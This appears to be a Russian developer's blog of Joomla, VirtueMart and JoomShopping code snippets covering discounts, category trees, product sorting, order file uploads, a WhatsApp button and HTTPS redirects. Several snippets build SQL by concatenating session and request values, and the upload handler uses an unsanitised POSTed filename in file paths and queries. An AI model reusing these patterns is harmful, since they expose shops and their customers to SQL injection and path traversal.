$rad_discount=0;</span><br /><span style="background-color: #ccffcc;"> if ($rad_discount&lt;0) $rad_discount=$rad_discount*-1;</span><br /><span style="background-color: #ccffcc;"> $rad_discount_name=get_raddicount($order_user,$order_total,'name',$orderId);</span><br /><span style="background-color: #ccffcc;"> $query="update #__virtuemart_orders set rad_txt='".$rad_discount_name."',order_billDiscountAmount=(order_billDiscountAmount+'".$rad_discount."'),order_discountAmount=(order_billDiscountAmount+'".$rad_discount."')</span><br /><span style="background-color: #ccffcc;"> ,order_total=(order_total-".$rad_discount."),order_salesPrice=(order_salesPrice-".$rad_discount."),order_subtotal=(order_subtotal-".$rad_discount.")</span><br /><span style="background-color: #ccffcc;"> where virtuemart_order_id='".$orderId."'";</span><br /><span style="background-color: #ccffcc;">$db-&gt;setquery($query);$db-&gt;execute(); </span><br /><span style="background-color: #ccffcc;"> }</span><br /> //$orderDetails = $orderModel-&gt;getMyOrderDetails($this-&gt;virtuemart_order_id,$this-&gt;order_number,$this-&gt;order_pass);<br /> $orderDetails = $orderModel-&gt;getOrder($this-&gt;virtuemart_order_id);<br /> if(!$orderDetails or empty($orderDetails['details'])){<br /> echo vmText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND');<br /> return false;<br /> }<br /> $dispatcher = JDispatcher::getInstance();<br /> VmConfig::importVMPlugins('vmpayment');<br /> $returnValues = $dispatcher-&gt;trigger('plgVmConfirmedOrder', array($this, $orderDetails));<br /> if($this-&gt;orderdoneHtml===false){<br /> $orderDoneHtml = vRequest::get('html', false);<br /> if($orderDoneHtml){<br /> $this-&gt;orderdoneHtml = $orderDoneHtml;<br /> } else {<br /> $this-&gt;orderdoneHtml = vmText::_('COM_VIRTUEMART_ORDER_PROCESSED');<br /> }<br /> }<br /> // may be redirect is done by the payment plugin (eg: paypal)<br /> // if payment plugin echos a form, false = nothing happen, true= echo form ,<br /> // 1 = cart should be emptied, 0 cart should not be emptied<br /> $this-&gt;setCartIntoSession(false,true); <br /> <span style="background-color: #ccffcc;">//вносим правки в стоимость - скидка розничным</span><br /><span style="background-color: #ccffcc;"> $db = JFactory::getDbo(); </span><br /><span style="background-color: #ccffcc;"> if (isset($_SESSION['rad_discount_total']) and $_SESSION['rad_discount_total']*1&gt;0)</span><br /><span style="background-color: #ccffcc;"> { </span><br /><span style="background-color: #ccffcc;"> $query="update #__virtuemart_orders set rad_txt='".$_SESSION['rad_discount_name']."',order_billDiscountAmount=(order_billDiscountAmount+'".$_SESSION['rad_discount_total']."'),order_discountAmount=(order_discountAmount+'".$_SESSION['rad_discount_total']."')</span><br /><span style="background-color: #ccffcc;"> ,order_total=(order_total-".$_SESSION['rad_discount_total']."),order_salesPrice=(order_salesPrice-".$_SESSION['rad_discount_total']."),order_subtotal=(order_subtotal-".$_SESSION['rad_discount_total'].")</span><br /><span style="background-color: #ccffcc;"> where virtuemart_order_id='".$orderId."'";</span><br /><span style="background-color: #ccffcc;"> $db-&gt;setquery($query);$db-&gt;execute();</span><br /><span style="background-color: #ccffcc;"> }</span><br /><span style="background-color: #ccffcc;"> else</span><br /><span style="background-color: #ccffcc;"> {</span><br /><span style="background-color: #ccffcc;"> $db-&gt;setquery("select order_total,virtuemart_user_id from #__virtuemart_orders where virtuemart_order_id='".$orderId."' ");$orderdb=$db-&gt;loadobject();</span><br /><span style="background-color: #ccffcc;"> $order_total=$orderdb-&gt;order_total;</span><br /><span style="background-color: #ccffcc;"> $order_user=$orderdb-&gt;virtuemart_user_id;</span><br /><span style="background-color: #ccffcc;">include_once(JPATH_ROOT.DIRECTORY_SEPARATOR.'radfunc.php');</span><br /><span style="background-color: #ccffcc;"> $rad_discount=get_raddicount($order_user,$order_total,'',$orderId);</span><br /><span style="background-color: #ccffcc;"> if ($rad_discount=='') $rad_discount=0;</span><br /><span style="background-color: #ccffcc;"> if ($rad_discount&lt;0) $rad_discount=$rad_discount*-1;</span><br /><span style="background-color: #ccffcc;"> $rad_discount_name=get_raddicount($order_user,$order_total,'name',$orderId);</span><br /><span style="background-color: #ccffcc;"> $query="update #__virtuemart_orders set rad_txt='".$rad_discount_name."',order_billDiscountAmount=(order_billDiscountAmount+'".$rad_discount."'),order_discountAmount=(order_discountAmount+'".$rad_discount."')</span><br /><span style="background-color: #ccffcc;"> ,order_total=(order_total-".$rad_discount."),order_salesPrice=(order_salesPrice-".$rad_discount."),order_subtotal=(order_subtotal-".$rad_discount.")</span><br /><span style="background-color: #ccffcc;"> where virtuemart_order_id='".$orderId."'";</span><br /><span style="background-color: #ccffcc;"> $db-&gt;setquery($query);$db-&gt;execute(); </span><br /><span style="background-color: #ccffcc;"> }</span><br /> <span style="background-color: #ccffcc;">$_SESSION['rad_discount_orderid']=$orderId;</span><br /><span style="background-color: #ccffcc;"> //отправляем правильное пиьсмо</span><br /><span style="background-color: #ccffcc;"> $inputOrder['virtuemart_order_id'] = $orderId;</span><br /><span style="background-color: #ccffcc;"> $orderModel-&gt;notifyCustomer( $orderId , $inputOrder );</span><br /> return $orderId;<br /> }<br /> return false;<br /> }</p>

 Необходимо также в стандартном и всех остлальных плагинах оплаты выключить оповещение покупателя - потому что покупателю придет письмо без скидки.

/plugins/vmpayment/standard/standard.php
function plgVmConfirmedOrder ($cart, $order) {function plgVmConfirmedOrder ($cart, $order) {
if (!($method = $this->getVmPluginMethod ($order['details']['BT']->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement ($method->payment_element)) { return FALSE; }
vmLanguage::loadJLang('com_virtuemart',true); vmLanguage::loadJLang('com_virtuemart_orders', TRUE);
$this->getPaymentCurrency($method, $order['details']['BT']->payment_currency_id); $currency_code_3 = shopFunctions::getCurrencyByID($method->payment_currency, 'currency_code_3'); $email_currency = $this->getEmailCurrency($method);
$totalInPaymentCurrency = vmPSPlugin::getAmountInCurrency($order['details']['BT']->order_total,$method->payment_currency);
if (!empty($method->payment_info)) { $lang = JFactory::getLanguage (); if ($lang->hasKey ($method->payment_info)) { $method->payment_info = vmText::_ ($method->payment_info); } }
$dbValues['payment_name'] = $this->renderPluginName ($method) . '<br />' . $method->payment_info; $dbValues['order_number'] = $order['details']['BT']->order_number; $dbValues['virtuemart_paymentmethod_id'] = $order['details']['BT']->virtuemart_paymentmethod_id; $dbValues['cost_per_transaction'] = $method->cost_per_transaction; $dbValues['cost_min_transaction'] = $method->cost_min_transaction; $dbValues['cost_percent_total'] = $method->cost_percent_total; $dbValues['payment_currency'] = $currency_code_3; $dbValues['email_currency'] = $email_currency; $dbValues['payment_order_total'] = $totalInPaymentCurrency['value']; $dbValues['tax_id'] = $method->tax_id; //вставляем скидку if (isset($_SESSION['rad_dicount_total']) and $_SESSION['rad_dicount_total']*1>0) { $rad_discount_sum=$_SESSION['rad_dicount_total']*1; $order['details']['BT']->order_total=$order['details']['BT']->order_total*1-$rad_discount_sum*1; $order['details']['BT']->order_salesPrice=$order['details']['BT']->order_salesPrice*1-$rad_discount_sum*1; $order['details']['BT']->order_subtotal=$order['details']['BT']->order_subtotal*1-$rad_discount_sum*1; $order['details']['BT']->order_billDiscountAmount=$order['details']['BT']->order_billDiscountAmount*1+$rad_discount_sum*1; $order['details']['BT']->order_discountAmount=$order['details']['BT']->order_discountAmount*1+$rad_discount_sum*1; $_SESSION['rad_dicount_total']=''; $_SESSION['rad_dicount_name']=''; } $this->storePSPluginInternalData ($dbValues);
$currency = CurrencyDisplay::getInstance ('', $order['details']['BT']->virtuemart_vendor_id);

$modelOrder = VmModel::getModel ('orders');
$order['order_status'] = $this->getNewStatus ($method);
$order['customer_notified'] = 0;
$order['comments'] = '';
$modelOrder->updateStatusForOneOrder ($order['details']['BT']->virtuemart_order_id, $order, TRUE);
$orderlink=''; $tracking = VmConfig::get('ordertracking','guests'); if($tracking !='none' and !($tracking =='registered' and empty($order['details']['BT']->virtuemart_user_id) )) {
$orderlink = 'index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $order['details']['BT']->order_number; if ($tracking == 'guestlink' or ($tracking == 'guests' and empty($order['details']['BT']->virtuemart_user_id))) { $orderlink .= '&order_pass=' . $order['details']['BT']->order_pass; } }
$html = $this->renderByLayout('post_payment', array( 'order_number' =>$order['details']['BT']->order_number, 'order_pass' =>$order['details']['BT']->order_pass, 'payment_name' => $dbValues['payment_name'], 'displayTotalInPaymentCurrency' => $totalInPaymentCurrency['display'], 'orderlink' =>$orderlink ));
//We delete the old stuff $cart->emptyCart (); vRequest::setVar ('html', $html); return TRUE; }

Virtuemart - вывести иерархическое дерево выбранных категорий

Функция собирающие все дерево из представленного списка:

function get_cat_tree($rows,$lvlstr,$parentid,$prodmass)
{
$ret='';$show=0;if (!isset($childmass)) $childmass=array();
foreach($rows as $item_op)
{
if ($item_op->category_parent_id==$parentid)
{
$ret.='
<div class="vmcatname vmcatname_'.$item_op->virtuemart_category_id.' dsn" onclick="jQuery('."'.tovmas'".').hide();jQuery('."'.tovmas_".$item_op->virtuemart_category_id."'".').show();">';
if (isset($prodmass[$item_op->virtuemart_category_id]) and count($prodmass[$item_op->virtuemart_category_id])>0) $ret.='<span class="updwar icon-arrow-down-3">&nbsp;</span>';
$ret.='<h4>('.$item_op->virtuemart_category_id.')'.$lvlstr.$item_op->name;
if (isset($prodmass[$item_op->virtuemart_category_id]) and count($prodmass[$item_op->virtuemart_category_id])>0)
$ret.='<span class="reddiv_ reddiv_'.$item_op->virtuemart_category_id.'"> ('.count($prodmass[$item_op->virtuemart_category_id]).')</span>';
$ret.='</h4>
</div>';
$retmass=get_cat_tree($rows,$lvlstr.'&nbsp;-&nbsp;',$item_op->virtuemart_category_id,$prodmass);
$ret.=$retmass['str'];

if (isset($retmass['chlidmass']) and count($retmass['chlidmass'])>0) $childmass=array_merge($childmass, $retmass['chlidmass']);
//дочерняя ветка имеет товары
if ($retmass['show']==1)
{
$show=1;
//$ret.='<div>['.$item_op->virtuemart_category_id.'] has - child</div>';
$childmass[]=$item_op->virtuemart_category_id;
if ($item_op->category_parent_id>0) $childmass[]=$item_op->category_parent_id;
}
//блок товаров
if (isset($prodmass[$item_op->virtuemart_category_id]) and count($prodmass[$item_op->virtuemart_category_id])>0)
{
$ret.='<div style="display:none" class="tovmas tovmas_'.$item_op->virtuemart_category_id.'"><ul class="tovmassul">';
foreach($prodmass[$item_op->virtuemart_category_id] as $item) $ret.= $item;
$ret.='</ul></div>';
$show=1;$childmass[]=$item_op->virtuemart_category_id;
if ($item_op->category_parent_id>0) $childmass[]=$item_op->category_parent_id;
}
}
}
$childmass=array_unique($childmass);
return array('str'=>$ret,'show'=>$show,'chlidmass'=>$childmass);
}

Вызов:

$db = JFactory::getDbo();
$db->setQuery(" select v.virtuemart_category_id,v.category_parent_id,
(select category_name from #__virtuemart_categories_ru_ru vv where vv.virtuemart_category_id=v.virtuemart_category_id) as name
from #__virtuemart_categories v order by name
");$cat_lists = $db->loadObjectList();
.....
if (count($cat_lists)>0)
{
$tree=get_cat_tree($cat_lists,'',0,$prodmass);
$txt=$tree['str'];
foreach($tree['chlidmass'] as $item) $txt=str_replace('vmcatname_'.$item.' dsn','vmcatname_'.$item.'',$txt);
echo $txt;
}

 

В данном примере мы прячем ветки, без товаров через css.

WhatsApp - анимированная иконка

HTML

<div class="wadiv">
<a class="float" title="Свяжитесь с нами через whatsapp" href="whatsapp://send?phone=+79264841653" target="_blank" rel="noopener"><div class="whatsapp-button"><i class="fa fa-whatsapp"></i></div></a>
</div>

CSS

.whatsapp-button {position: fixed;right: 13px;bottom: 0px;transform: translate(-50%, -50%);background: #25D366; /*цвет кнопки*/border-radius: 50%;width: 55px; /*ширина кнопки*/height: 55px; /*высота кнопки*/color: #fff;text-align: center;line-height: 53px; /*центровка иконки в кнопке*/font-size: 35px; /*размер иконки*/z-index: 9999;}
.whatsapp-button a{color: #fff;}
.whatsapp-button:before, .whatsapp-button:after{content: " ";display: block;position: absolute;border: 50%;border: 1px solid #25D366;left: -20px;right: -20px;top: -20px;bottom: -20px;border-radius: 50%;animation: animate 1.5s linear infinite;opacity: 0;backface-visibility: hidden;}
@media (max-width : 800px)
{
.whatsapp-button {height: 40px;width: 40px;font-size: 20px;line-height: 39px;bottom: 5px; /*отступ кнопки снизу от экрана*/left: 70px; /*отступ кнопки слева от экрана(right - справа)*/}
.button.top.active{display: none;}
}
.whatsapp-button:after{animation-delay: .5s;}
@keyframes animate
{
0%{transform: scale(0.5);opacity: 0;}
50%{opacity: 1;}
100%{transform: scale(1.2);opacity: 0;}
}

Joomshoping - тонкое управление списком товаров

У части продуктов включается опция

  • Под заказ - когда стоимость товара 0
  • В архиве - когда кол-во товара 0

Данные товары  необходимо перенести в конец списка товаров, но с учетом выбранной сортировки пользователя на сайте.

Редактируем файл:

components/com_jshopping/lib/jtableauto.php

Нужна функция:

function getBuildQueryOrderListProduct($order, $orderby, &$adv_from){
$order_query = "";
if (!$order) return $order_query;
$order_original = $order;
$jshopConfig = JSFactory::getConfig();
$multyCurrency = count(JSFactory::getAllCurrency());
if ($multyCurrency>1 && $order=="prod.product_price"){
if (strpos($adv_from,"jshopping_currencies")===false){
$adv_from .= " LEFT JOIN `#__jshopping_currencies` AS cr USING (currency_id) ";
}
if ($jshopConfig->product_list_show_min_price){$order = "prod.min_price";}
else{$order = "prod.product_price";}
}
if ($order=="prod.product_price" && $jshopConfig->product_list_show_min_price){
$order = "prod.min_price";
}
$order_query = " ORDER BY unlimited desc,(CASE WHEN product_price=0 THEN 0 WHEN product_quantity*unlimited=0 THEN 0 ELSE 1 END) desc,".$order;
if ($orderby){
$order_query .= " ".$orderby;
}
JPluginHelper::importPlugin('jshoppingproducts');
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onBuildQueryOrderListProduct', array($order, $orderby, &$adv_from, &$order_query, $order_original) );
return $order_query;
}

JoomShopping загрузка файла к заказу (чек, реквизиты)

 

 

Часто магазину требуется загрузить файлы клиента к заказу, например pdf файл с реквизитами, у joomshopping нет такого функционала, но его можно добавить.

Для загрузки файлов будем использовать aJax библиотеку plupload

1.Размещаем HTML блок для загрузки файлов

<div class="downloaddiv" id="downloaddiv">
<div class="filename filelist" id="filelist"><?php if (!isset($_SESSION['orderfn'])) $_SESSION['orderfn']='';?></div>
<div class="btnfilediv">
<a class="btn filebtns" id="filebtns">Загрузить файл</a>
<small class="filebtns">*Ограничения: не более 5мб; Форматы: zip,rar,pdf,jpg,bmp,png</small>
</div>
<div class="drop-target" id="drop-target" style="display:none">
<input type="hidden" id="siteurl" value="<?php echo JURI::root()?>">
<a id="btnsu" class="btnsu" href="javascript:;"></a>
<a class="uploadfiles" id="uploadfiles" href="javascript:;"></a>
</div>
</div>

 2.Размещаем файлы

  • -для функционала загрузки создаем /js/upfile.js 
  • -размещаем на сайте библиотеку plupload

3.Подключаем файлы в корзине или главной странице, размещать ниже блока из пунтка 1

  • <script src="https://site.ru/plupload/js/plupload.full.min.js"></script>
  • <script src="https://site.ru/js/upfile.js" type="text/javascript"></script>

4.Актуализировать /plupload/../upload.php

  • Подписать актуальные директории
  • Добавить обработку кирилицы в имени файла

5.Добавить колонку fn в таблицу #__jshopping_orders

6.Добавить обработку при сохранении заказа

coponents/com_jshopping/models/checkoutorder.php

функция orderDataSave(&$adv_user, &$post)

if (isset($_SESSION['orderfn']) and strlen($_SESSION['orderfn']))
{
$file=JPATH_ROOT.DS.'tmp'.DS.$_SESSION['orderfn'];
$new_name=JPATH_ROOT.DS.'user_files'.DS.$order->order_id.DS.$_SESSION['orderfn'];
if (!file_exists(JPATH_ROOT.DS.'user_files'.DS.$order->order_id)) {mkdir(JPATH_ROOT.DS.'user_files'.DS.$order->order_id, 0777, true);}
if (rename($file, $new_name))
{
$db->setquery("update #__jshopping_orders set fn='".$order->order_id.DS.$_SESSION['orderfn']."' where order_id='".$order->order_id."' ");$db->execute();
}
}

 7.Сделать вывод ссылок на файл в списке заказов

/admnistrator/com_jshopping/views/order/list.php

echo'<hr style="margin:3px;">Файлы польователя:<br><a href="'.JURI::root().'user_files/'.$row->fn.'" download>'.str_replace($row->order_id.'/','',$row->fn).'</a>';

9.Добавить обработку aJax при добавлении файла

if (isset($_POST['savefiletoorder']))
{
$fn=$_POST['datas'];
$fn=rus2translit_index($fn);
$_SESSION['orderfn']=$fn;
echo 'Файл успешно загружен "'.$fn.'"';
exit();
}

 

Функция обработка в транслит:

<pre>function rus2translit_index($string) {<br /> $converter = array(<br /> 'а' =&gt; 'a', 'б' =&gt; 'b', 'в' =&gt; 'v',<br /> 'г' =&gt; 'g', 'д' =&gt; 'd', 'е' =&gt; 'e',<br /> 'ё' =&gt; 'e', 'ж' =&gt; 'zh', 'з' =&gt; 'z',<br /> 'и' =&gt; 'i', 'й' =&gt; 'y', 'к' =&gt; 'k',<br /> 'л' =&gt; 'l', 'м' =&gt; 'm', 'н' =&gt; 'n',<br /> 'о' =&gt; 'o', 'п' =&gt; 'p', 'р' =&gt; 'r',<br /> 'с' =&gt; 's', 'т' =&gt; 't', 'у' =&gt; 'u',<br /> 'ф' =&gt; 'f', 'х' =&gt; 'h', 'ц' =&gt; 'c',<br /> 'ч' =&gt; 'ch', 'ш' =&gt; 'sh', 'щ' =&gt; 'sch',<br /> 'ь' =&gt; '', 'ы' =&gt; 'y', 'ъ' =&gt; '',<br /> 'э' =&gt; 'e', 'ю' =&gt; 'yu', 'я' =&gt; 'ya', <br /> 'А' =&gt; 'A', 'Б' =&gt; 'B', 'В' =&gt; 'V',<br /> 'Г' =&gt; 'G', 'Д' =&gt; 'D', 'Е' =&gt; 'E',<br /> 'Ё' =&gt; 'E', 'Ж' =&gt; 'Zh', 'З' =&gt; 'Z',<br /> 'И' =&gt; 'I', 'Й' =&gt; 'Y', 'К' =&gt; 'K',<br /> 'Л' =&gt; 'L', 'М' =&gt; 'M', 'Н' =&gt; 'N',<br /> 'О' =&gt; 'O', 'П' =&gt; 'P', 'Р' =&gt; 'R',<br /> 'С' =&gt; 'S', 'Т' =&gt; 'T', 'У' =&gt; 'U',<br /> 'Ф' =&gt; 'F', 'Х' =&gt; 'H', 'Ц' =&gt; 'C',<br /> 'Ч' =&gt; 'Ch', 'Ш' =&gt; 'Sh', 'Щ' =&gt; 'Sch',<br /> 'Ь' =&gt; '', 'Ы' =&gt; 'Y', 'Ъ' =&gt; '',<br /> 'Э' =&gt; 'E', 'Ю' =&gt; 'Yu', 'Я' =&gt; 'Ya',' ' =&gt; '',<br /> );<br /> return strtr($string, $converter);<br />}</pre> <p>&nbsp;</p>

Скрипт запуска зарузки upfile.js:

<pre>jQuery(document).ready(function() {uploader.init();<br /> jQuery('body').on( "click",".filebtns", function() {<br /> document.getElementById('btnsu').click();<br /> }); <br />});&nbsp;var uploader = new plupload.Uploader({<br /> runtimes : 'html5,flash,silverlight,html4',<br /> browse_button : 'btnsu',<br /> container: document.getElementById('downloaddiv'), <br /> url : document.getElementById('siteurl').value+'plupload/examples/upload.php',<br /> flash_swf_url : document.getElementById('siteurl').value+'plupload/js/Moxie.swf',<br /> silverlight_xap_url : document.getElementById('siteurl').value+'plupload/js/Moxie.xap',<br /> unique_names: false,<br /> multi_selection:false,<br /> rename: true,<br /> multiple_queues:true, <br /> filters : {<br /> max_file_size : '5mb',<br /> mime_types: [{title : "Image files", extensions : "jpg,gif,png,pdf"},{title : "Arhive files", extensions : "zip,rar"}]<br /> },init: {<br /> PostInit: function() {<br /> jQuery(".filebtns").attr('disabled', false);<br /> document.getElementById('filelist').innerHTML = '';document.getElementById('uploadfiles').onclick = function() {<br /> uploader.start();<br /> return false;<br /> };<br /> },FilesAdded: function(up, files) {<br /> jQuery(".filebtns").attr('disabled', true);<br /> var fn='';<br /> plupload.each(files, function(file) {<br /> document.getElementById('filelist').innerHTML += '&lt;div id="' + file.id + '"&gt;&lt;span id="filename"&gt;'+file.name+'&lt;/span&gt; (' + plupload.formatSize(file.size) + ')&lt;span id="'+file.id+'proc"&gt;&lt;/span&gt;&lt;/div&gt;'; <br /> fn+=file.name;<br /> });<br /> jQuery('.filebtns').hide();<br /> //запоминаем выбор <br /> var myData = 'savefiletoorder=1&amp;datas='+fn; <br /> jQuery.ajax({<br /> type: "POST", <br /> url: document.getElementById('siteurl').value, <br /> dataType:"text", <br /> data:myData, <br /> success:function(response)<br /> { <br /> //if(document.getElementById('filelist')!=null)document.getElementById('filelist').innerHTML =response;<br /> jQuery(".filebtns").attr('disabled', false);<br /> up.start(); <br /> jQuery('.filebtns').hide();<br /> },<br /> error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}<br /> }); <br /> },UploadProgress: function(up, file) {<br /> if(document.getElementById(file.id+'proc')!=null)document.getElementById(file.id+'proc').innerHTML = ' загрузка '+file.percent+"%";<br /> },<br /> Error: function(up, err) {<br /> document.getElementById('console').appendChild(document.createTextNode("\nError #" + err.code + ": " + err.message));<br /> }<br /> }<br />});<br />uploader.bind('BeforeUpload', function(up, file) { <br /> up.settings.multipart_params = {"fileid": '0_0'}; <br /> });<br />uploader.bind('UploadComplete', function(up, file) {<br /> document.getElementById('filelist').innerHTML = 'Файл загружен и будет добавлен к заказу';<br /> });</pre> <p>&nbsp;</p>

Переброс http в https через .htaccess

Вариант 1

RewriteEngine On
RewriteCond %{HTTPS} =off 
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [QSA,L]



Вариант 2

RewriteEngine On
RewriteCond %{SERVER_PORT} !^443$
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R,L]



если оба первых варианта не помогли и возникает циклическая переадресация:

Вариант 3

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteCond %{HTTP:X-Forwarded-Proto} !https
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

JoomShopping - сравнение, как добавить свои опции

Шаблон и функции сравнения находятся в файле:

/components/com_jshopping/templates/<шаблон>/compare/compare.php

Для добавления своих опций нужно сделать 2 дейсвия:

1.После блока составления массива характиеристик , нужно добавить свои

$j = 0;
for ($i = 0; $i < count ($products_arr); $i++)
{
$product->load($products_arr[$i]);
$prex=getProductExtraFieldForProductCompare($product);
if (empty($prex)) continue;
foreach ($prex as $key=>$v)
{
$exn[$j] = $v['name'];
$exv[$j] = $v['value'];
$j++;
}
}
$db = JFactory::getDbo();$prodmass=$products_arr;if (count($prodmass)==0) $prodmass[]=0;
$db->setquery("select * from #__table where product_id in (".implode(',',$prodmass).") ");$dophars=$db->loadobjectlist();
foreach($dophars as $item)
{
$exn[$j] = $item->имя_характеристики;
$exv[$j] = $item->значение_характеристики;
$j++;
}

2.После вывода основных характеристик, дополнительно сделать вывод своих

<td class="extra compare_view_<?php print $product->product_id; ?>">
<?php
$prex=getProductExtraFieldForProductCompare($product);
if (empty($prex)) {
print "-"; continue;
}
//основной вывод
foreach ($prex as $key=>$v)
{

if ($v['name'] == $ex[$j])
{

print $v['value'];
}
}
//вывод доп характеристик
foreach($dophars as $item)
if ($product->product_id==$item->product_id)
if ($item->имя_характеристики==$ex[$j]) echo $item->значение_характеристики;
?>
</td>

 

Тонкая сортирова атрибутов JoomShopping

Стандартная сортировка атрибутов настраивается в самом атрибуте, но иногда возникает потребность в более тонкой сортировке, например у вас есть 2 цвета белый и хром, на белый цвет нужно добавить наценку +900р, и он должен стоять вторым в списке, стандартными средствами этого не сделать.

Для настройки нужно добаить колонку `orders` в таблицу #__jshopping_products_attr2

Далее открываем файл:

public_html/components/com_jshopping/tables/product.php

В файл добавляем функцию сортировки массива с объектами:

function sort_attr($array, $sortby, $direction='asc') 
{
$sortedArr = array();
$tmp_Array = array();
foreach($array as $k => $v) {$tmp_Array[] = strtolower($v->$sortby);}
if($direction=='asc')
{
asort($tmp_Array);
}
else
{
arsort($tmp_Array);
}
foreach($tmp_Array as $k=>$tmp)
{
$sortedArr[] = $array[$k];
}
return $sortedArr;
}

В функцию getAttribValue добавляем выборку поля:

function getAttribValue($attr_id, $other_attr = array(), $onlyExistProduct = 0){
$jshopConfig = JSFactory::getConfig();
$allattribs = JSFactory::getAllAttributes(1);
$lang = JSFactory::getLang();
if ($allattribs[$attr_id]->independent==0){
$where = "";
foreach($other_attr as $k=>$v){
$where.=" and PA.attr_".(int)$k."=".(int)$v;
}
if ($onlyExistProduct) $where.=" and PA.count>0 ";
$sorting = $jshopConfig->attribut_dep_sorting_in_product;
if ($sorting=="") $sorting = "V.value_ordering";
$field = "attr_".(int)$attr_id;
$query = "SELECT distinct PA.$field as val_id, V.`".$lang->get("name")."` as value_name, V.image
FROM `#__jshopping_products_attr` as PA
INNER JOIN #__jshopping_attr_values as V ON PA.$field=V.value_id
WHERE PA.product_id=".(int)$this->product_id." ".$where."
ORDER BY ".$sorting;
}else{
$sorting = $jshopConfig->attribut_nodep_sorting_in_product;
if ($sorting=="") $sorting = "V.value_ordering";
$query = "SELECT PA.attr_value_id as val_id, V.`".$lang->get("name")."` as value_name, V.image, price_mod, addprice,PA.`orders`
FROM `#__jshopping_products_attr2` as PA
INNER JOIN #__jshopping_attr_values as V ON PA.attr_value_id=V.value_id
WHERE PA.product_id=".(int)$this->product_id." and PA.attr_id=".(int)$attr_id."
ORDER BY ".$sorting.' asc ,PA.`orders` desc';
}
extract(js_add_trigger(get_defined_vars(), "after"));
$this->_db->setQuery($query);
return $this->_db->loadObjectList();
}

В функцию getBuildSelectAttributes добавляем проверку на необходимость сортировки и переопределение первого элемента в массиве атрибутов:

function getBuildSelectAttributes($attributeValues, $attributeActive, $displayonlyattrtype = null,$product_id=0){
$jshopConfig = JSFactory::getConfig();
if (!$jshopConfig->admin_show_attributes) return array();
$dispatcher = JDispatcher::getInstance();
$attrib = JSFactory::getAllAttributes();
$userShop = JSFactory::getUserShop();
$selects = array();$attrorder=array();
$db = JFactory::getDBO(); if (isset($this) and isset($this->product_id) and $this->product_id*1>0) { $db->setquery("select a.*,(select `name_ru-Ru` from #__jshopping_attr_values v where v.value_id=a.attr_value_id and a.attr_id=v.attr_id) as name from #__jshopping_products_attr2 a where product_id='".$this->product_id."' ");$attrsdb=$db->loadobjectlist(); foreach($attrsdb as $attr) $attrorder[$attr->attr_id][$attr->name]=$attr->orders; } foreach($attrib as $k=>$v)
{
$attr_id = $v->attr_id;
if ($displayonlyattrtype){$v->attr_type = $displayonlyattrtype;}
if (isset($attributeValues[$attr_id]) && $attributeValues[$attr_id])
{
if (isset($attributeActive[$attr_id]))
{
$_firstval = $attributeActive[$attr_id];
}
else
{
$_firstval = 0;
}
$selects[$attr_id] = new stdClass();
$selects[$attr_id]->attr_id = $attr_id;
$selects[$attr_id]->attr_name = $v->name;
$selects[$attr_id]->attr_description = $v->description;
$selects[$attr_id]->groupname = $v->groupname;
$selects[$attr_id]->firstval = $_firstval;
$selects[$attr_id]->attributeValues = $attributeValues[$attr_id][0]->orders;
$options = $attributeValues[$attr_id];
$attrimage = array();$need_reorder=0;
foreach($options as $k2=>$v2)
{
$attrimage[$v2->val_id] = $v2->image;
$addPrice = $v2->addprice;
$addPrice = getPriceFromCurrency($addPrice, $this->currency_id);
$addPrice = getPriceCalcParamsTax($addPrice, $this->product_tax_id);
if ($userShop->percent_discount)
{
$addPrice = getPriceDiscount($addPrice, $userShop->percent_discount);
}
$options[$k2]->addprice = $addPrice;
$options[$k2]->orders = $v2->orders; $options[$k2]->val_id=$v2->val_id; if ($v2->orders*1>0) $need_reorder=1; }
if ($need_reorder==1) { $options=self::sort_attr($options,'orders','asc');//сортировка //переназначаем первый элемент if ($selects[$attr_id]->firstval*1>0) { $selects[$attr_id]->firstval=$options[0]->val_id; $_firstval=$options[0]->val_id; $attributeActive[$attr_id]=$_firstval; } }
if ($v->attr_type==1){ ...................

 

Далее вам нужна форма для редактирования поля `orders` - но это на ваше усмотрние.

 

 

Joomla - разработка чат ботов telegram для вашего сайта

Поможем реализовать новый функционал через чат-бота в телеграм для вашего интернет-магазина или сайта-визитки.

Бот может:

  • 1.Взаимодействовать с заказами - менять статусы,оповещать о поступлении, следить за кол-вом.
  • 2.Предоставлять скидки и работать с купонами
  • 3.Сделать интерактивную подсказу - контакты, адреса, как подъехать и тд
  • 4.Провести опросы - собрать информацию с пользователя, получить ответы на вопросы
  • 5.Отправка документов, файлов, изображений, ссылок, видео и тд
  • 6.Запись на прием с указанной датой
  • 7.Оповещение по расписанию - можно настроить оповещение администратора или клиента
  • 8.Ведение новостной ленты

 

 

Пример ботов:

  • @SWGOH_GuildBot - бот для управления гильдией в мобильной игре

k2 Store - не работает кнопка в корзину в каталоге товаров

Данная ошибка связана с передачей рабочей страницы, необходимо исправить файл:

$('.k2storeCartForm1').each(function(){
$(this).submit(function(e) {
e.preventDefault();
var form = $(this);

/* Get input values from form */
var values = form.serializeArray();


$.ajax({
url: '/index.php/component/k2store/mycart', //k2storeURL+'index.php',
type: 'post',
//data: form.find('input[type=\'text\']'), form.find('input[type=\'hidden\']'), form.find('input[type=\'radio\']:checked'), form.find('input[type=\'checkbox\']:checked'), form.find('select'), form.find('textarea'),
data: values,
dataType: 'json',

JoomShopping - Массовое добавление сопутствующего товара

Для массовой вставки нужно открыть вкладку "Сопутствующие товары" в файле:

/administrator/components/com_jshopping/views/product_edit/tmp/editlist.php

Добавляем вкладку

<ul class="nav nav-tabs"> 
<li class="active"><a href="#main-page" data-toggle="tab"><?php echo _JSHOP_INFO_PRODUCT;?></a></li>
<?php if ($jshopConfig->admin_show_product_extra_field) {?>
<li><a href="#product_extra_fields" data-toggle="tab"><?php echo _JSHOP_EXTRA_FIELDS;?></a></li>
<?php } ?>
<li><a href="#product_related" data-toggle="tab"><?php echo _JSHOP_PRODUCT_RELATED;?></a></li>
</ul>

Добавляем содержание:

...
